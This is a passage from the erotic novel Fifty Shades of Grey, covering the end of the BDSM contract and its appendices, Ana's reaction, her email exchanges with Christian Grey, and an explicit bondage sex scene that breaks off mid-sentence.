upon the Submissive’s body nor any injuries incurred +that may require medical attention. + +15.7 In training and in the administration of discipline the Dominant shall ensure that +the discipline and the instruments used for the purposes of discipline are safe, shall not +be used in such a way as to cause serious harm and shall not in any way exceed the +limits defined and detailed in this contract. + +1 5.8 In case of illness or injury the Dominant shall care for the Submissive, seeing + +to her health and safety, encouraging and when necessary ordering medical attention +when it is judged necessary by the Dominant. + +15.9 The Dominant shall maintain his own good health and seek medical attention +when necessary in order to maintain a risk-free environment + +15.10 The Dominant shall not loan his Submissive to another Dominant. + +15.11 The Dominant may restrain, handcuff, or bind the Submissive at any time dur- +ing the Allotted Times or any agreed additional times for any reason and for extended +periods of time, giving due regard to the health and safety of the Submissive. + +15.12 The Dominant will ensure that all equipment used for the purposes of training +and discipline shall be maintained in a clean, hygienic and safe state at all times. +SUBMISSIVE + +15.13 The Submissive accepts the Dominant as her master, with the understanding +that she is now the property of the Dominant, to be dealt with as the Dominant pleases +during the Term generally but specifically during the Allotted Times and any additional +agreed allotted times. + +15.14 The Submissive shall obey the rules (“the Rules”) set out in Appendix 1 to this +agreement. + +15.15 The Submissive shall serve the Dominant in any way the Dominant sees fit and +shall endeavor to please the Dominant at all times to the best of her ability. + +15.16 The Submissive shall take all measures necessary to maintain her good health +and shall request or seek medical attention whenever it is needed, keeping the Domi- +nant informed at all times of any health issues that may arise. + +15.17 The Submissive will ensure that she procures oral contraception and ensure that +she takes it as and when prescribed to prevent any pregnancy. + +15.18 The Submissive shall accept without question any and all disciplinary actions +deemed necessary by the Dominant and remember her status and role in regard to the +Dominant at all times. + +15.19 The Submissive shall not touch or pleasure herself sexually without permission +from the Dominant. + +15.20 The Submissive shall submit to any sexual activity demanded by the Dominant +and shall do without hesitation or argument. + +15.21 The Submissive shall accept whippings, floggings, spankings, caning, paddling +or any other discipline the Dominant should decide to administer, without hesitation, +enquiry or complaint. + + +15.22 The Submissive shall not look directly into the eyes of the Dominant except +when specifically instructed to do so. The Submissive shall keep her eyes cast down +and maintain a quiet and respectful bearing in the presence of the Dominant. + +15.23 The Submissive shall always conduct herself in a respectful manner to the Dom- +inant and shall address him only as Sir, Mr. Grey, or such other title as the Dominant +may direct. + +15.24 The Submissive will not touch the Dominant without his express permission to +do so. + +ACTIVITIES + +16 The Submissive shall not participate in activities or any sexual acts that either party +deems to be unsafe or any activities detailed in Appendix 2. + +17 The Dominant and the Submissive have discussed the activities set out in Appendix +3 and recorded in writing on Appendix 3 their agreement in respect of them. +SAFEWORDS + +18 The Dominant and the Submissive recognize that the Dominant may make demands +of the Submissive that cannot be met without incurring physical, mental, emotional, +spiritual, or other harm at the time the demands are made to the Submissive. In such +circumstances related to this, the Submissive may make use of a safeword (“The Safe- +word (s)”). Two Safewords will be invoked depending on the severity of the demands. + +19 The Safeword “Yellow” will be used to bring to the attention of the Dominant that +the Submissive is close to her limit of endurance. + +20 The Safeword “Red” will be used to bring to the attention of the Dominant that the +Submissive cannot tolerate any further demands. When this word is said the Domi- +nant’s action will cease completely with immediate effect. + +CONCLUSION + +21 We the undersigned have read and understood fully the provisions of this contract. +We freely accept the terms of this contract and have acknowledged this by our signa- +tures below. + + +The Dominant: Christian Grey +Date + + +The Submissive: Anastasia Steele +Date + + +APPENDIX 1 + +RULES + +Obedience: + +Th e Subm i s sive will obey any instructions given by the Dominant immediately with- +out hesitation or reservation and in an expeditious manner. The Submissive will agree +to any sexual activity deemed fit and pleasurable by the Dominant excepting those +activities which are outlined in hard limits (Appendix 2). She will do so eagerly and +without hesitation. + + +Sleep: + +The Submissive will ensure she achieves a minimum of eight hours sleep a night when +she is not with the Dominant. + +Food: + +The Submissive will eat regularly to maintain her health and wellbeing from a pre- +scribed list of foods (Appendix 4). The Submissive will not snack between meals, with +the exception of fruit. + +Clothes: + +During the Term the Submissive will wear clothing only approved by the Dominant. + +The Dominant will provide a clothing budget for the Submissive, which the Submis- +sive shall utilize. The Dominant shall accompany the Submissive to purchase clothing +on an ad hoc basis. If the Dominant so requires the Submissive shall during the Term +wear adornments the Dominant shall require, in the presence of the Dominant and any +other time the Dominant deems fit. + +Exercise: + +The Dominant shall provide the Submissive with a personal trainer four times a week +in hour-long sessions at times to be mutually agreed between the personal trainer and +the Submissive. The personal trainer will report to the Dominant on the Submissive’s +progress. + +Personal Hygiene/Beauty: + +The Submissive will keep herself clean and shaved and/or waxed at all times. The +Submissive will visit a beauty salon of the Dominant’s choosing at times to be decided +by the Dominant, and undergo whatever treatments the Dominant sees fit. All costs +will be met by the Dominant. + +P e r - s e aa l- Saf e ty -: + +The Submissive will not drink to excess, smoke, take recreational drugs or put herself +in any unnecessary danger. + +Personal Qualities: + +The Submissive will not enter into any sexual relations with anyone other than the +Dominant. The Submissive will conduct herself in a respectful and modest manner at +all times. She mu st recognize that her behavior is a direct reflection on the Dominant. +She shall be held accountable for any misdeeds, wrongdoings and misbehavior com- +mitted when not in the presence of the Dominant. + +Failure to comply with any of the above will result in immediate punishment, the na- +tur e of wh i ch sha ll b e determined by the Dominant. + + +APPENDIX 2 +Hard Limits + +No acts involving fire play + +No acts involving urination or defecation and the products thereof +No acts involving needles, knives, cutting, piercing, or blood +No acts involving gynecological medical instruments +No acts involving children or animals +No acts that will leave any permanent marks on the skin + + +No acts involving breath control. + +No activity that involves the direct contact of electric current (whether alternating or +direct), fire or flames to the body. + + +APPENDIX 3 +Soft Limits + +To be discussed and agreed between both parties: + + +Which of the following sexual acts are acceptable to the Submissive? + +• Masturbation + +• Fellatio + +• Cunnilingus + +• Vaginal intercourse + +• Vaginal fisting + +• Anal intercourse + +• Anal fisting + + +Is swallowing semen acceptable to the Submissive? + +Is the use of sex toys acceptable to the Submissive? + +• Vibrators + +• Dildos + +• Butt Plugs + +• Other + + +Is Bondage acceptable to the Submissive? + +• Hands in front + +• Hands behind back + +• Ankles + +• Knees + +• Elbows + +• Wrists to ankles + +• Spreader bars + +• Tied to furniture + +• Blindfolding + +• Gagging + +• Bondage with Rope + +• Bondage with Tape + +• Bondage with leather cuffs + +• Suspension + +• Bondage with handcuffs/metal restraints + + +What is the Submissive’s general attitude about receiving pain? Where 1 is likes in- +tensely and 5 is dislikes intensely: 1 - 2- 3- 4- 5 + + +How much pain does the submissive want to receive? Where 1 is none and 5 is severe +1 -2-3— 4-5 + + +Which of the following types of pain/punishment/discipline are acceptable to the Sub- +missive? + +• Spanking + +• Paddling + +• Whipping + +• Caning + +• Biting + +• Nipple clamps + +• Genital clamps + +• Ice + +• Hot wax + +• Other types/methods of pain + + +Holy Fuck. I can’t bring myself to even consider the food list. I swallow hard, my +mouth dry, and read it again. + +My head is buzzing. How can I possibly agree to all this? And apparently it’s for my +benefit, to explore my sensuality, my limits - safely - oh please! I scoff angrily. Serve and +obey in all things. All Things! I shake my head in disbelief. Actually, doesn’t the marriage +ceremony use those words... obey? This throws me. Do couples still say that? Only three +months, is that why there have been so many? He doesn’t keep them for long? Or have +they had enough after three months? Every weekend? That’s too much. I’ll never see Kate +or whatever friends I may make at my new job - provided I get one. Perhaps I should have +one weekend a month to myself. Perhaps when I have my period, that sounds... practical. +He’s my master! To be dealt with as he pleases! Holy shit. + +I shudder at the thought of being flogged or whipped. Spanking probably wouldn’t be +so bad, humiliating though. And tied up? Well he did tie my hands together. That was... +well it was hot, really hot, so perhaps that won’t be so bad. He won’t loan me to another +Dominant - damn right he won’t. That would be totally unacceptable. Why am I even +thinking about this? + +I can’t look him in the eye. How weird is that? The only way I ever have any chance +to see what he’s thinking. Actually, whom am I kidding, I never know what he’s thinking, +but I like looking into his eyes. He has beautiful eyes - captivating, intelligent, deep and +dark, dark with dominant secrets. I recall his burning smoky gaze and press my thighs +together, squirming. + +And I can’t touch him. Well, no surprise there. And these silly rules. . . No, no I can’t +do this. I put my head in my hands. This is no way to have a relationship. I need some +sleep. I’m shattered. All the physical shenanigans I’ve been engaged in over the last +twenty-four hours have been, frankly, exhausting. And mentally... oh man, this is so much + + +to take on board. As Jose would say, a real mind-fuck. Perhaps in the morning, this might +not read like a bad joke. + +I scramble up and change quickly. Perhaps I should borrow Kate’s pink flannel paja- +mas. I want something cuddly and reassuring around me. I head to the bathroom in my +t-shirt and sleep shorts and brush my teeth. + +I stare at myself in the bathroom mirror. You can’t seriously be considering this... + +My subconscious sounds sane and rational, not her usual snarky self. My inner goddess +is jumping up and down, clapping her hands like a five-year-old. Please, let’s do this. . . +otherwise we’ll end up alone with lots of cats and your classic novels to keep you company. + +The only man I’ve ever been attracted to, and he comes with a bloody contract, a +flogger, and a whole world of issues. Well, at least I got my way this weekend. My inner +goddess stops jumping and smiles serenely. Oh yes... she mouths, nodding at me smugly. + +I flush at the memory of his hands and his mouth on me, his body inside mine. Closing +my eyes, I feel the familiar delicious pull of my muscles from deep, deep down. I want +to do that again and again. Maybe if I just sign up for the sex. . . would he go with that? I +suspect not. + +Am I submissive? Maybe I come across that way. Maybe I misled him in the inter- +view. I’m shy, yes... but submissive? I let Kate bully me - is that the same? And those +soft limits, jeez. My mind boggles, but I’m reassured that they are up for discussion. + +I wander back to my bedroom. This is too much to think about. I need a clear head - a +fresh morning approach to the problem. I put the offending documents back in my satchel. +Tomorrow... tomorrow is another day. Clambering into bed, I switch off the light and lie +staring up at the ceiling. Oh, I wish I’d never met him. My inner goddess shakes her head +at me. She and I know it’s a lie. I have never felt as alive as I do now. + +I close my eyes, and I drift into a heavy sleep with occasional dreams of four-poster +beds and shackles and intense gray eyes. + + +Kate wakes me the next day. + +“Ana, I’ve been calling you. You must have been out cold.” + +My eyes reluctantly open. She’s not just up - she’s been for a run. I glance at my +alarm. It’s eight in the morning. Holy Moses, I’ve slept for a solid nine hours. + +“What is it?” I mumble sleepily. + +“There’s a man here with a delivery for you. You have to sign for it.” + +“What?” + +“Come on. It’s big. It looks interesting.” She hops from foot to foot excitedly and +bounds back into the living area. I clamber out of bed and grab my dressing gown hanging +on the back of my door. A smart young man with a ponytail is standing in our living room +clasping a large box. + +“Hi,” I mumble. + +“I’ll make you some tea.” Kate scuttles off to the kitchen. + +“Miss Steele?” + +And I immediately know whom the parcel is from. + + +“Yes,” I answer cautiously. + +“I have a package for you here, but I have to set it up and show you how to use it.” +“Really? At this time?” + +“Only following orders, ma’am.” He smiles in a charming but professional he’s-not- +taking-any-crap way. + +Did he just call me ma’am? Have I aged ten years overnight? If I have, it’s that con- +tract. My mouth puckers in disgust. + +“Okay, what is it?” + +“It’s a MacBook Pro.” + +“Of course it is.” I roll my eyes. + +“These aren’t available in the shops yet, ma’am, the very latest from Apple.” + +How come that does not surprise me? I sigh heavily. + +“Just set it up on the dining table over there.” + +I wander into the kitchen to join Kate. + +“What is it?” she says inquisitive, bright eyed and bushy tailed. She’s slept well too. + +“It’s a laptop from Christian.” + +“Why’s he sent you a laptop? You know you can use mine,” she frowns. + +Not for what he has in mind. + +“Oh, it’s only on loan. He wanted me to try it out.” My excuse sounds feeble. But +Kate nods her assent. Oh my... I have hoodwinked Katherine Kavanagh. A first. She +hands me my tea. + +The Mac laptop is sleek and silver and rather beautiful. It has a very large screen. +Christian Grey likes scale - I think of his living area, in fact, his whole apartment. + +“It’s got the latest OS and a full suite of programs, plus a one-point-five terabyte hard +drive so you’ll have plenty of room, thirty-two gigs of RAM - what are you planning to +use it for? + +“Uh... email.” + +“Email!” he chokes, bemused, raising his eyebrows with a slightly sick look on his +face. + +“And maybe Internet research?” I shrug apologetically. + +He sighs. + +“Well, this has full wireless N, and I’ve set it up with your Me account details. This +baby is all ready to go, practically anywhere on the planet.” He looks longingly at it. + +“Me account?” + +“Your new email address.” + +I have an email address? + +He points to an icon on the screen and continues to talk at me but it’s like white noise. + +I haven’t got a clue what he’s saying, and in all honestly, I’m not interested. Just tell me +how to switch it on and off - I’ll figure out the rest. After all, I’ve been using Kate’s for +four years. Kate whistles, impressed when she sees it. + +“This is next-generation tech.” She raises her eyebrows at me. “Most women get +flowers or maybe jewelry,” she says suggestively, trying to suppress a smile. + +I scowl at her but can’t keep a straight face. We both burst into a fit of giggles, and +computer man gapes at us, bemused. He finishes up and asks me to sign the delivery note. + + +As Kate shows him out, I sit with my cup of tea, open the email program, and sitting +there waiting for me is an email from Christian. My heart leaps into my mouth. I have an +email from Christian Grey. Nervously, I open it. + + +From: Christian Grey +Subject: Your New Computer +Date: May 22 2011 23:15 +To: Anastasia Steele + +Dear Miss Steele + +I trust you slept well. I hope that you put this laptop to good use, as discussed. +I look forward to dinner, Wednesday. + +Happy to answer any questions before then, via email, should you so desire. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I hit reply. + + +From: Anastasia Steele + +Subject: Your New Computer (on loan) + +Date: May 23 2011 08:20 +To: Christian Grey + +I slept very well thank you - for some strange reason - Sir. + +I understood that this computer was on loan, ergo not mine. +Ana + + +Almost instantaneously there is a response. + + +From: Christian Grey + +Subject: Your New Computer (on loan) + +Date: May 23 2011 08:22 +To: Anastasia Steele + +The computer is on loan. Indefinitely, Miss Steele. + +I note from your tone that you have read the documentation I gave you. +Do you have any questions so far? + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I can’t help but grin. + + +From: Anastasia Steele +Subject: Enquiring Minds +Date: May 23 2011 08:25 +To: Christian Grey + +I have many questions, but not suitable for email, and some of us have to work for a liv- +ing. + +I do not want or need a computer indefinitely. + +Until later, good day. Sir. + +Ana + + +His reply again is instant, and it makes me smile. + + +From: Christian Grey + +Subject: Your New Computer (again on loan) +Date: May 23 2011 08:26 +To: Anastasia Steele + +Laters, baby. + +PS: I work for a living too. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I shut the computer down, grinning like an idiot. How can I resist playful Christian? I am +going to be late for work. Well, it is my last week - Mr. and Mrs. Clayton will probably cut +me some slack. I race into the shower, unable to shake my face-splitting grin. He emailed +me. I’m like a small, giddy child. And all the contract angst fades. As I wash my hair, I +try and think what I could possibly ask him via email. Surely it’s better to talk these things +through. Suppose someone hacked into his account? I flush at the thought. I dress quickly, +shout a hasty goodbye to Kate, and I’m off to work my last week at Clayton’s. + + +Jose phones at eleven. + + +“Hey, are we doing coffee?” He sounds like the old Jose. Jose my friend, not a - what +did Christian call him? Suitor. Ugh. + +“Sure. I’m at work. Can you make it here for say twelve?” + +“See you then.” + +He hangs up, and I go back to restocking the paintbrushes and thinking about Christian +Grey and his contract. + +Jose is punctual. He comes bounding into the shop like a gamboling dark-eyed puppy. + +“Ana,” he smiles his dazzling toothy all-Hispanic-American smile, and I can’t be an- +gry with him anymore. + +“Hi Jose.” I hug him. “I’m starving. I’ll just let Mrs. Clayton know I’m going for +lunch.” + + +As we stroll to the local coffee shop, I slip my arm through Jose’s. I’m so grateful for his +- normality. Someone I know and understand. + +“Hey Ana,” he murmurs. “You’ve really forgiven me?” + +“Jose, you know I can never stay mad at you for long.” + +He grins. + + +I can’t wait to get home. The lure of emailing Christian, and maybe I can begin my re- +search project. Kate is out somewhere, so I fire up the new laptop and open my email. Sure +enough, there’s an email from Christian sitting in the inbox. I’m practically bouncing out +of my seat with glee. + + +From: Christian Grey +Subject: Working for a living +Date: May 23 2011 17:24 +To: Anastasia Steele + +Dear Miss Steele + +I do hope you had a good day at work. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I hit reply. + + +From: Anastasia Steele +Subject: Working for living +Date: May 23 2011 17:48 + + +To: Christian Grey + +Sir. . . I had a very good day at work. +Thank you. + +Ana + + +From: Christian Grey +Subject: Do The Work! + +Date: May 23 2011 17:50 +To: Anastasia Steele + +Miss Steele + +Delighted you had a good day. + +While you are emailing, you are not researching. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Nuisance +Date: May 23 2011 17:53 +To: Christian Grey + +Mr. Grey, stop emailing me, and I can start my assignment. +I’d like another A. + +Ana + + +I hug myself. + + +From: Christian Grey +Subject: Impatient +Date: May 23 2011 17:55 +To: Anastasia Steele + +Miss Steele + +Stop emailing me - and do your assignment. +I’d like to award another A. + +The first one was so well deserved. ;) + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +Christian Grey just sent me a winking smiley. . . Oh my. I fire up Google. + + +From: Anastasia Steele +Subject: Internet Research +Date: May 23 2011 17:59 +To: Christian Grey + +Mr. Grey + +What would you suggest I put into a search engine? +Ana + + +From: Christian Grey +Subject: Internet Research +Date: May 23 2011 18:02 +To: Anastasia Steele + +Miss Steele + +Always start with Wikipedia. + +No more emails unless you have questions. Understood? + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Bossy! + +Date: May 23 2011 18:04 +To: Christian Grey + +Yes... Sir. + +You are so bossy. + +Ana + + +From: Christian Grey +Subject: In Control +Date: May 23 2011 18:06 +To: Anastasia Steele + +Anastasia, you have no idea. +Well, maybe an inkling now. +Do the work. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I type Submissive into Wikipedia. + + +Half an hour later, I feel slight queasy and frankly shocked to my core. Do I really want +this stuff in my head? Jeez - is this what he gets up to in the Red Room of Pain? I sit +staring at the screen, and part of me, a very moist and integral part of me - that I’ve only +become acquainted with very recently, is seriously turned on. Oh my, some of this stuff is +HOT. But is it for me? Holy shit... could I do this? I need space. I need to think. + + +Chapter Twelve + + +For the first time in my life, I voluntarily go for a run. I find my nasty, never-used sneakers, +some sweat pants, and a t-shirt. I put my hair in pigtails, blushing at the memories they +bring back, and I plug in my iPod. I can’t sit in front of that marvel of technology and look +at or read any more disturbing material. I need to expend some of this excess, enervating, +energy. Quite frankly, I have a mind to run to the Heathman hotel and just demand sex +from the control freak. But that’s five miles, and I don’t think I’ll be able to run one mile, +let alone five, and of course, he might turn me down which would be beyond humiliating. + +Kate is walking from her car as I head out of the door. She nearly drops her shopping +when she sees me. Ana Steele in sneakers. I wave and don’t stop for the inquisition. I +need some serious alone time. Snow Patrol blaring in my ears, I set off into the opal and +aquamarine dusk. + +I pace through the park. What am I going to do? I want him, but on his terms? I just +don’t know. Perhaps I should negotiate what I want. Go through that ridiculous contract +line by line and say what is acceptable and what isn’t. My research has told me that legally +it’s unenforceable. He must know that. I figure that it just sets up the parameters of the +relationship. It illustrates what I can expect from him and what he expects from me - my +total submission. Am I prepared to give him that? Am I even capable? + +I am plagued by one question - why is he like this? Is it because he was seduced at such +a young age? I just don’t know. He’s still such a mystery. + + +I stop beside a large spruce and put my hands on my knees, breathing hard, dragging +precious air into my lungs. Oh, this feels good, cathartic. I can feel my resolve hardening. +Yes. I need to tell him what’s okay and what isn’t. I need to email him my thoughts, and +then we can discuss these on Wednesday. I take a deep cleansing breath, then jog back to +the apartment. + +Kate has been shopping, as only she can, for clothes for her holiday to Barbados. +Mainly bikinis and matching sarongs. She will look fabulous in all of them, yet she still +makes me sit and comment while she tries on each and every one. There are only so many +ways one can say - you look fabulous Kate. She has a curvy, slim figure to die for. She +doesn’t do it on purpose, I know, but I haul my sorry, perspiration clad, old t-shirt, sweat +pants, and sneakers ass into my room on the pretext of packing more boxes. Could I feel +any more inadequate? Taking the awesome free technology with me, I set the laptop up on +my desk. I email Christian. + + +From: Anastasia Steele +Subject: Shocked of WSUV +Date: May 23 2011 20:33 +To: Christian Grey + +Okay, I’ve seen enough. + +It was nice knowing you. +Ana + + +I press send, hugging myself, laughing at my little joke. Will he find it as funny? Oh shit +- probably not. Christian Grey is not famed for his sense of humor. But I know it exists, + +I’ve experienced it. Perhaps I’ve gone too far. I wait for his answer. + +I wait... and wait. I glance at my alarm clock. Ten minutes have passed. + +To distract myself from the anxiety that blooms in my belly, I start doing what I told +Kate I would be doing - packing up my room. I begin by cramming my books into a crate. +By nine, I’ve heard nothing. Perhaps he’s out. I pout petulantly as I plug my iPod ear buds +in, listen to Snow Patrol, and sit down at my small desk to re-read the contract and make +my comments. + +I don’t know why I glance up, maybe I catch a slight movement from the corner of my +eye, I don’t know, but when I do, he’s standing in the doorway of my bedroom watching +me intently. He’s wearing his grey flannel pants and a white linen shirt, gently twirling his +car keys. I pull my ear buds out and freeze. Fuck! + +“Good evening, Anastasia.” His voice is cool, his expression completely guarded and +unreadable. The capacity to speak deserts me. Damn Kate for letting him in here with no +warning. Vaguely, I’m aware that I’m still in my sweats, un-showered, yucky, and he’s just +gloriously yummy, his pants doing that hanging from the hips thing, and what’s more, he’s +here in my bedroom. + +“I felt that your email warranted a reply in person,” he explains dryly. + + +I open my mouth and then close it again, twice. The joke is on me. Never in this or any +alternative universe did I expect him to drop everything and turn up here. + +“May I sit?” he asks, his eyes now dancing with humor - thank heavens - maybe he’ll +see the funny side? + +I nod. The power of speech remains elusive. Christian Grey is sitting on my bed. + +“I wondered what your bedroom would look like,” he says. + +I glance around it, plotting an escape route, no - there’s still only the door or window. +My room is functional but cozy - sparse white wicker furniture and a white iron double bed +with a patchwork quilt, made by my mother when she was in her folksy American quilting +phase. It’s all pale blue and cream. + +“It’s very serene and peaceful in here,” he murmurs. Not at the moment... not with you + +here. + +Finally, my medulla oblongata recalls its purpose, I breathe. + +“How... ?” + +He smiles at me. + +“I’m still at the Heathman.” + +I know that. + +“Would you like a drink?” Politeness wins out over everything else I’d like to say. + +“No, thank you, Anastasia.” He smiles a dazzling, crooked smile, his head cocked +slightly to one side. + +Well, I might need one. + +“So, it was nice knowing me?” + +Holy cow, is he offended? I stare down at my fingers. How am I going to dig myself +out of this? If I tell him it was a joke, I don’t think he’ll be impressed. + +“I thought you’d reply by email.” My voice is small, pathetic. + +“Are you biting your lower lip deliberately?” he asks darkly. + +I blink up at him, gasping, freeing my lip. + +“I wasn’t aware I was biting my lip,” I murmur softly. + +My heart is pounding. I can feel that pull, that delicious electricity between us charg- +ing, filling the space between us with static. He’s sitting so close to me, his eyes dark +smoky gray, his elbows resting on his knees, his legs apart. Leaning forward, he slowly +undoes one of my pigtails, his fingers freeing my hair. My breathing is shallow, and I can- +not move. I watch hypnotized as his hand moves to my second pigtail, and pulling the hair +tie, he loosens the braid with his long, skilled fingers. + +“So you decided on some exercise,” he breathes, his voice soft and melodious. His +fingers gently tuck my hair behind my ear. “Why, Anastasia?” His fingers circle my ear, +and very softly, he tugs my earlobe, rhythmically. It’s so sexual. + +“I needed time to think,” I whisper. I’m all rabbit/headlights, moth/flame, bird/snake... +and he knows exactly what he’s doing to me. + +“Think about what, Anastasia?” + +“You.” + +“And you decided that it was nice knowing me? Do you mean knowing me in the +biblical sense?” + +Oh shit. I flush. + + +“I didn’t think you were familiar with the Bible.” + +“I went to Sunday School, Anastasia. It taught me a great deal.” + +“I don’t remember reading about nipple clamps in the Bible. Perhaps you were taught +from a modern translation.” + +His lips arch with a trace of a smile, and my eyes are drawn to his beautiful sculptured +mouth. + +“Well, I thought I should come and remind you how nice it was knowing me.” + +Holy crap. I stare at him open mouthed, and his fingers move from my ear to my chin. + +“What do you say to that, Miss Steele?” + +His gray eyes blaze at me, his challenge intrinsic in his stare. His lips are parted - he’s +waiting, coiled to strike. Desire - acute, liquid and smoldering, combusts deep in my belly. + +I take pre-emptive action and launch myself at him. Somehow he moves, I have no idea +how, and in the blink of an eye I’m on the bed pinned beneath him, my arms stretched out +and held above my head, his free hand clutching my face, and his mouth finds mine. + +His tongue is in my mouth, claiming and possessing me, and I revel in the force he +uses. I feel him against the length of my body. He wants me, and this does strange, deli- +cious things to my insides. Not Kate in her little bikinis, not one of the fifteen, not evil +Mrs. Robinson. Me. This beautiful man wants me. My inner goddess glows so bright +she could light up Portland. He stops kissing me, and opening my eyes, I find him gazing +down at me. + +“Trust me?” he breathes. + +I nod, wide-eyed, my heart bouncing off my ribs, my blood thundering around my +body. + +He reaches down, and from his pants pocket, he takes out his silver grey silk tie. . . that +silver grey woven tie that leaves small impressions of its weave on my skin. He moves so +quickly, sitting astride me as he fastens my wrists together, but this time, he ties the other +end of the tie to one of the spokes of my white iron headboard. He pulls at my binding +checking it’s secure. I’m not going anywhere. I’m tied, literally, to my bed, and I’m so +aroused. + +He slides off me and stands beside the bed, staring down at me, his eyes dark with +want. His look is triumphant, mixed with relief. + +“That’s better,” he murmurs and smiles a wicked, knowing smile. He bends and starts +undoing one of my sneakers. Oh no. . . no. . . my feet. No. I’ve just been running. + +“No,” I protest, trying to kick him off. + +He stops. + +“If you struggle, I’ll tie your feet too. If you make a noise, Anastasia, I will gag you. + +Keep quiet. Katherine is probably outside listening right now.” + +Gag me! Kate! I shut up. + +He removes my shoes and my socks efficiently and slowly peels off my sweat pants. +Oh - what panties am I wearing? He lifts me and pulls the quilt and my duvet out from +underneath me and places me back down, this time on the sheets. + +“Now then.” He licks his bottom lip slowly. “You’re biting that lip, Anastasia. You +know the effect it has on me.” He places his long index finger over my mouth, a warning. + + +Oh my. I can barely contain myself, lying helpless, watching him move gracefully +around my room, it’s a heady aphrodisiac. Slowly, almost leisurely, he removes his shoes +and socks, undoes his pants, and lifts his shirt off over his head. + +“I think you’ve seen too much,” he chuckles slyly. He sits astride me again, pulls my +t-shirt up, and I think he’s going to take it off me, but he rolls it up to my neck and then +pulls it up over my head so he can see my mouth and my nose, but it covers my eyes. And +because it’s folded over - I cannot see a thing through it. + +“Mmm,” he breathes appreciatively. “This just gets better and better. I’m going to get +a drink.” + +Leaning down, he kisses me, his lips tender against mine, and his weight shifts off the +bed. I hear the quiet creak of the bedroom door. Get a drink. Where? Here? Portland? +Seattle? I strain to hear him. I can make out low rumblings, and I know he’s talking to +Kate - oh no. . . he’s practically naked. What’s she going to say? I hear a faint popping +sound. What’s that? He returns, the door creaking once more, his feet padding across the +bedroom floor, and ice tinkling against glass as it swirls in liquid. What kind of drink? He +shuts the door and shuffles around removing his pants. They drop to the floor, and I know +he’s naked. He sits astride me again. + +“Are you thirsty, Anastasia?” he asks, his voice teasing + +“Yes,” I breathe, because my mouth is suddenly parched. I hear the ice clink against +the glass, and he puts it down again and leans down and kisses me, pouring a delicious +crisp, liquid into my mouth as he does. It’s white wine. It’s so unexpected, hot, though it’s +chilled, and Christian’s lips are cool. + +“More?” he whispers. + +I nod. It tastes all the more divine because it’s been in his mouth. He leans down, and +I drink another mouthful from his lips... oh my. + +“Let’s not go too far, we know your capacity for alcohol is limited, Anastasia.” + +I can’t help it. I grin, and he leans down to deliver another delicious mouthful. He +shifts so he’s lying beside me, his erection at my hip. Oh, I want him inside me. + +“Is this nice?” he asks, but I hear the edge in his voice. + +I tense. He moves the glass again and leans down, kissing me and depositing a small +shard of ice in my mouth with a little wine. He slowly and leisurely trails chilled kisses +down the center of my body, from the base of my throat, between my breasts, down my +torso, and to my belly. He pops a fragment of ice in my navel in a pool of cool, cold wine. + +It burns all the way down to the depths of my belly. Wow. + +“Now you have to keep still,” he whispers. “If you move, Anastasia, you’ll get wine +all over the bed.” + +My hips flex automatically. + +“Oh no. If you spill the wine, I will punish you, Miss Steele.” + +I groan and desperately fight the urge to tilt my hips, pulling on my restraint. Oh no... +please. + +With one finger, he pulls down my bra cups in turn, my breasts pushed up, exposed and +vulnerable. Leaning down, he kisses and tugs at each of my nipples in turn with cool, cold +lips. I fight my body as it tries to arch in response. + +“How nice is this?” he breathes, blowing on one of my nipples. + + +I hear another clink of ice, and then I can feel it round my right nipple as he tugs the left +one with his lips. I moan, struggling not to move. It’s sweet, agonizing torture. + +“If you spill the wine, I won’t let you come,” + +“Oh... please... Christian... Sir... Please.” He’s driving me insane. I hear him smile. + +The ice in my navel is melting. I am beyond warm - warm and chilled and wanting. +Wanting him, inside me. Now. + +His cool fingers trail languidly across my belly. My skin is oversensitive, my hips flex +automatically, and the now warmer liquid from my navel seeps over my belly. Christian +moves quickly, lapping it up with his tongue, kissing, biting me softly, sucking. + +“Oh dear, Anastasia, you moved. What am I going to do to you?” + +I’m panting loudly. All I can concentrate on is his voice and his touch. Nothing else +is real. Nothing else matters, nothing else registers on my radar. His fingers slip into my +panties, and I’m rewarded with his unguarded sharp intake of air. + +“Oh, baby,” he murmurs and he pushes two fingers inside me. + +I gasp. + +“Ready for me so soon,” he says. He moves his fingers tantalizingly slowly, in, out, +and I push against him, tilting my hips up. + +“You are a greedy girl,” he scolds softly, and his thumb circles my clitoris and then +presses down. + +I groan loudly as my body bucks beneath his expert fingers. He reaches up and pushes +the t-shirt over my head so I can see him as I blink in the soft light of my sidelight. I long +to touch him. + +“I want to touch you,” I breathe. + +“I know,” he murmurs. He leans down and kisses me, his fingers still moving rhythmi- +cally inside me, his thumb circling and pressing. His other hand scoops my hair off my +head and holds my head in place. His tongue mirrors the actions of his fingers, claim- +ing me. My legs begin to stiffen as I push against his hand. He gentles his hand, so I’m +brought back from the brink. He does this again and again. It’s so frustrating... Oh please +Christian, I scream in my head. + +“This is your punishment, so close and yet so far. Is this nice?” he breathes in my ear. + +I whimper, exhausted, pulling against my restraint. I’m helpless, lost in an erotic torment. + +“Please,” I beg, and he finally takes pity on me. + +“How shall I fuck you, Anastasia?” + +Oh... my body starts to quiver. He stills again. + +“Please.” + +“What do you want, Anastasia?” + +“You... now,” I cry. + +“Shall I fuck you this way, or this way, or this way? There’s an endless choice,” he +breathes against my lips. He withdraws his hand and reaches over to the bedside table for a +foil packet. He kneels up between my legs, and very slowly he pulls my panties off, staring +down at me, his eyes gleaming. He puts on the condom. I watch fascinated, mesmerized. + +“How nice is this?” he says as he strokes himself. + +“I meant it as a joke,” I whimper. Please fuck me, Christian. + +He raises his eyebrows as his hand moves up and down his impressive length. + + +“A joke?” His voice is menacingly soft. + +“Yes. Please, Christian,” I beseech him. + +“Are you laughing now?” + +“No,” I mewl. + +I am just one ball of sexual, tense, need. He stares down at me for a moment, measur- +ing my need, then he grabs me suddenly and flips me over. It takes me by surprise, and +because my hands are tied, I have to support myself on my elbows. He pushes both my +knees up the bed so my behind is in the air, and he slaps me hard. Before I can react, he +plunges inside me. I cry out - from the slap and 